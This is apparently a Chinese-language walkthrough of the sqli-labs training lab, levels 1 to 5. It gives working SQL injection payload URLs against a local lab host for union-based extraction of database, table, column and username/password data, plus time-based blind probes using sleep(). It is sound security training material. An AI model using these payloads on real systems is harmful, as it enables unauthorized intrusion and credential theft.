目录
Less - 2 GET-Error based- Intiger based(基于错误的GET整型注入)
Less - 3 GET-Error based- Single quotes with twust string(基于错误的GET单引号变形字符型注入)
Less - 4 GET-Error based- Double Quotse - String(基于错误的GET双引号字符型注入)
Less - 5 GET- Double Injection - Single Quoter -String(双注入GET单引号字符型注入)
Less - 1 基于错误的GET单引号字符型注入
首先我们F12键,用hacbar写入id=1:http://sqli-labs-master:8880/Less-1/?id=1
id 可以显示
那么在后面加单引号,看结果是否报错,要是报错,则存在注入
结果报错,那我们知道了存在注入
然后我们用order by逐一测试,看他表格有几列:
http://sqli-labs-master:8880/Less-1/?id=1' order by 1 --+;
如图,表格最多有三列 。
然后判断其中第几列有回显,这里要用一个数据库里没有的数字,我用了-1:
http://sqli-labs-master:8880/Less-1/?id=-1' union select 1,2,3--+;
发现2,3列有回显,就可以爆出数据库:
http://sqli-labs-master:8880/Less-1/?id=-1' union select 1,2,database()--+;
可以看到数据库名字,知道名字就可以查看数据库:
http://sqli-labs-master:8880/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables--+;
爆列:
http://sqli-labs-master:8880/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+;
爆出用户名和密码:
http://sqli-labs-master:8880/Less-1/?id=-1'union select 1,2, group_concat(concat_ws('~',username,password)) from security.users--+;
到此第一关就结束了。
Less - 2 GET-Error based- Intiger based(基于错误的GET整型注入)
以同样的方式,用HacBar写入id=1 ,出现用户名,然后在后面加上单引号:
http://sqli-labs-master:8880/Less-2/?id=1'
看到报错了,再加注释: http://sqli-labs-master:8880/Less-2/?id=1'--+
发现还是报错, 那试试不加单引号:
http://sqli-labs-master:8880/Less-2/?id=1--+
不加单引号发现可以注入,说明是整型注入,然后之后的操作同第一关。
Less - 3 GET-Error based- Single quotes with twust string(基于错误的GET单引号变形字符型注入)
以同样的方式,HacBar写入id=1,出现用户名,加单引号,报错:
加注释符,还是报错:
猜测语句是id=('$id'),尝试改为?id=1'):
http://sqli-labs-master:8880/Less-3/?id=1')union select 1,2,3--+
之后步骤相同。
Less - 4 GET-Error based- Double Quotse - String(基于错误的GET双引号字符型注入)
这里写入id=1出现用户名,然后不断测试,加单引号,单引号括号,都无法闭合,于是尝试双引号:http://sqli-labs-master:8880/Less-4/?id=-1") union select 1,2,3--+
其余的步骤同Less - 1.
Less - 5 GET- Double Injection - Single Quoter -String(双注入GET单引号字符型注入)
用同样的方法进行测试:http://sqli-labs-master:8880/Less-5/?id=1' union select 1,2,3--+
他始终显示You are in......,无法回显,首先想到布尔盲注,用sleep跑一下:
http://sqli-labs-master:8880/Less-5/?id=1' and sleep(5) --+
发现存在明显延迟,时间延迟型盲注。
逐一的测试数据库名称有几位:http://sqli-labs-master:8880/Less-5/?id=1' and length(database())=1--+
得知名称有8位, 用burp suite抓包,一位一位的爆破名称:
http://sqli-labs-master:8880/Less-5/?id=1' and left(select database(),1)='a'--+
第一位为s,以此类推,判断出完整数据库。